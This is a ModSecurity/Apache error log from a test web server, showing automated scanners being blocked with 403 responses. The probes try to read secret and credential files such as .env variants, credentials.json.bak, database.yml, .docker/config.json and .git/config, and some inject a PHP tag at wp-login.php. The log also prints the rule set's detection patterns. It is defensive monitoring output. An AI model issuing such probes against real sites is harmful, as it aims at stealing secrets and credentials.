[Sat Jan 17 23:17:33.984665 2026] [:error] [pid 1465637] [client 185.177.72.60:34872] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lambda/.env"] [unique_id "aWwKfUwjzlOY5uJ3CcDeEgAAAAE"]
[Sat Jan 17 23:17:33.984808 2026] [:error] [pid 1465637] [client 185.177.72.60:34872] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lambda/.env"] [unique_id "aWwKfUwjzlOY5uJ3CcDeEgAAAAE"]
[Sat Jan 17 23:17:33.985544 2026] [:error] [pid 1465652] [client 185.177.72.60:34942] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.json.bak"] [unique_id "aWwKfb6MPgkIbMiE8VTL1wAAAAU"]
[Sat Jan 17 23:17:33.985839 2026] [:error] [pid 1465652] [client 185.177.72.60:34942] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.json.bak"] [unique_id "aWwKfb6MPgkIbMiE8VTL1wAAAAU"]
[Sat Jan 17 23:17:33.985975 2026] [:error] [pid 1465652] [client 185.177.72.60:34942] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.json.bak"] [unique_id "aWwKfb6MPgkIbMiE8VTL1wAAAAU"]
[Sat Jan 17 23:17:33.986296 2026] [:error] [pid 1465639] [client 185.177.72.60:34914] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "aWwKfbt90umalWjOW8vybwAAAAM"]
[Sat Jan 17 23:17:33.986502 2026] [:error] [pid 1465639] [client 185.177.72.60:34914] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "aWwKfbt90umalWjOW8vybwAAAAM"]
[Sat Jan 17 23:17:33.986643 2026] [:error] [pid 1465639] [client 185.177.72.60:34914] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "aWwKfbt90umalWjOW8vybwAAAAM"]
[Sat Jan 17 23:17:36.113240 2026] [:error] [pid 1484015] [client 185.177.72.60:13844] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.config"] [unique_id "aWwKgGtD9qS7bG6S-BmDCAAAAAk"]
[Sat Jan 17 23:17:36.114585 2026] [:error] [pid 1484015] [client 185.177.72.60:13844] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.config"] [unique_id "aWwKgGtD9qS7bG6S-BmDCAAAAAk"]
[Sat Jan 17 23:17:36.114800 2026] [:error] [pid 1484015] [client 185.177.72.60:13844] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.config"] [unique_id "aWwKgGtD9qS7bG6S-BmDCAAAAAk"]
[Sat Jan 17 23:17:36.116764 2026] [:error] [pid 1465656] [client 185.177.72.60:13902] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /_nuxt/builds/latest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_nuxt/builds/latest/.env"] [unique_id "aWwKgAuey-R96faqoviURwAAAAg"]
[Sat Jan 17 23:17:36.116958 2026] [:error] [pid 1465656] [client 185.177.72.60:13902] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_nuxt/builds/latest/.env"] [unique_id "aWwKgAuey-R96faqoviURwAAAAg"]
[Sat Jan 17 23:17:36.117104 2026] [:error] [pid 1465656] [client 185.177.72.60:13902] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_nuxt/builds/latest/.env"] [unique_id "aWwKgAuey-R96faqoviURwAAAAg"]
[Sat Jan 17 23:17:36.118243 2026] [:error] [pid 1465655] [client 185.177.72.60:13900] [client 185.177.72.60] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "aWwKgCFXd78sl9lQKfsS0gAAAAc"]
[Sat Jan 17 23:17:36.119015 2026] [:error] [pid 1465655] [client 185.177.72.60:13900] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "aWwKgCFXd78sl9lQKfsS0gAAAAc"]
[Sat Jan 17 23:17:36.119158 2026] [:error] [pid 1465655] [client 185.177.72.60:13900] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "aWwKgCFXd78sl9lQKfsS0gAAAAc"]
[Sat Jan 17 23:17:36.395756 2026] [authz_core:error] [pid 1465637] [client 185.177.72.60:14020] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/config
[Sat Jan 17 23:17:36.401182 2026] [authz_core:error] [pid 1465655] [client 185.177.72.60:14058] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Sat Jan 17 23:17:36.491314 2026] [:error] [pid 1465652] [client 185.177.72.60:14094] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "aWwKgL6MPgkIbMiE8VTL2wAAAAU"]
[Sat Jan 17 23:17:36.491572 2026] [:error] [pid 1465652] [client 185.177.72.60:14094] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "aWwKgL6MPgkIbMiE8VTL2wAAAAU"]
[Sat Jan 17 23:17:36.491911 2026] [:error] [pid 1465652] [client 185.177.72.60:14094] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "aWwKgL6MPgkIbMiE8VTL2wAAAAU"]
[Sat Jan 17 23:17:36.622444 2026] [:error] [pid 1465655] [client 185.177.72.60:14252] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.phpinfo.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.phpinfo.php"] [unique_id "aWwKgCFXd78sl9lQKfsS1gAAAAc"]
[Sat Jan 17 23:17:36.622731 2026] [:error] [pid 1465655] [client 185.177.72.60:14252] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.phpinfo.php"] [unique_id "aWwKgCFXd78sl9lQKfsS1gAAAAc"]
[Sat Jan 17 23:17:36.622916 2026] [:error] [pid 1465655] [client 185.177.72.60:14252] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.phpinfo.php"] [unique_id "aWwKgCFXd78sl9lQKfsS1gAAAAc"]
[Sat Jan 17 23:17:36.624339 2026] [:error] [pid 1484015] [client 185.177.72.60:14238] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.phpinfo"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod.phpinfo"] [unique_id "aWwKgGtD9qS7bG6S-BmDDAAAAAk"]
[Sat Jan 17 23:17:36.624531 2026] [:error] [pid 1484015] [client 185.177.72.60:14238] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod.phpinfo"] [unique_id "aWwKgGtD9qS7bG6S-BmDDAAAAAk"]
[Sat Jan 17 23:17:36.624694 2026] [:error] [pid 1484015] [client 185.177.72.60:14238] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod.phpinfo"] [unique_id "aWwKgGtD9qS7bG6S-BmDDAAAAAk"]
[Sat Jan 17 23:17:36.626197 2026] [:error] [pid 1465656] [client 185.177.72.60:14196] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.yaml"] [unique_id "aWwKgAuey-R96faqoviUSwAAAAg"]
[Sat Jan 17 23:17:36.626390 2026] [:error] [pid 1465656] [client 185.177.72.60:14196] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.yaml"] [unique_id "aWwKgAuey-R96faqoviUSwAAAAg"]
[Sat Jan 17 23:17:36.626545 2026] [:error] [pid 1465656] [client 185.177.72.60:14196] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.yaml"] [unique_id "aWwKgAuey-R96faqoviUSwAAAAg"]
[Sun Jan 18 08:27:04.406463 2026] [:error] [pid 1490422] [client 216.81.248.168:40732] [client 216.81.248.168] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWyLSJY4_YWQnzrblW6AVAAAAA0"]
[Sun Jan 18 08:27:04.406771 2026] [:error] [pid 1490422] [client 216.81.248.168:40732] [client 216.81.248.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWyLSJY4_YWQnzrblW6AVAAAAA0"]
[Sun Jan 18 08:27:04.406922 2026] [:error] [pid 1490422] [client 216.81.248.168:40732] [client 216.81.248.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWyLSJY4_YWQnzrblW6AVAAAAA0"]
[Mon Jan 19 15:48:07.041624 2026] [:error] [pid 1509525] [client 213.35.106.89:57022] [client 213.35.106.89] ModSecurity: Warning. Pattern match "(?:<\\\\?(?!xml\\\\s)|<\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])" at ARGS:pwd. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "67"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <? found within ARGS:pwd: zb{o@u{vsfjq&#j(<?l[iyohi_#9]i-l1jno=ec"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EJ9nhpURCUJzoPh9mmwAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:07.044014 2026] [:error] [pid 1509525] [client 213.35.106.89:57022] [client 213.35.106.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EJ9nhpURCUJzoPh9mmwAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:07.044232 2026] [:error] [pid 1509525] [client 213.35.106.89:57022] [client 213.35.106.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EJ9nhpURCUJzoPh9mmwAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:13.824371 2026] [:error] [pid 1509525] [client 213.35.106.89:57022] [client 213.35.106.89] ModSecurity: Warning. Pattern match "(?:<\\\\?(?!xml\\\\s)|<\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])" at ARGS:pwd. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "67"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <? found within ARGS:pwd: zb{0@u{vsfjq&#j(<?l[iy0hi_#9]i-l1jn0=ec"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5ELdnhpURCUJzoPh9mxQAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:13.825180 2026] [:error] [pid 1509525] [client 213.35.106.89:57022] [client 213.35.106.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5ELdnhpURCUJzoPh9mxQAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:13.825359 2026] [:error] [pid 1509525] [client 213.35.106.89:57022] [client 213.35.106.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5ELdnhpURCUJzoPh9mxQAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
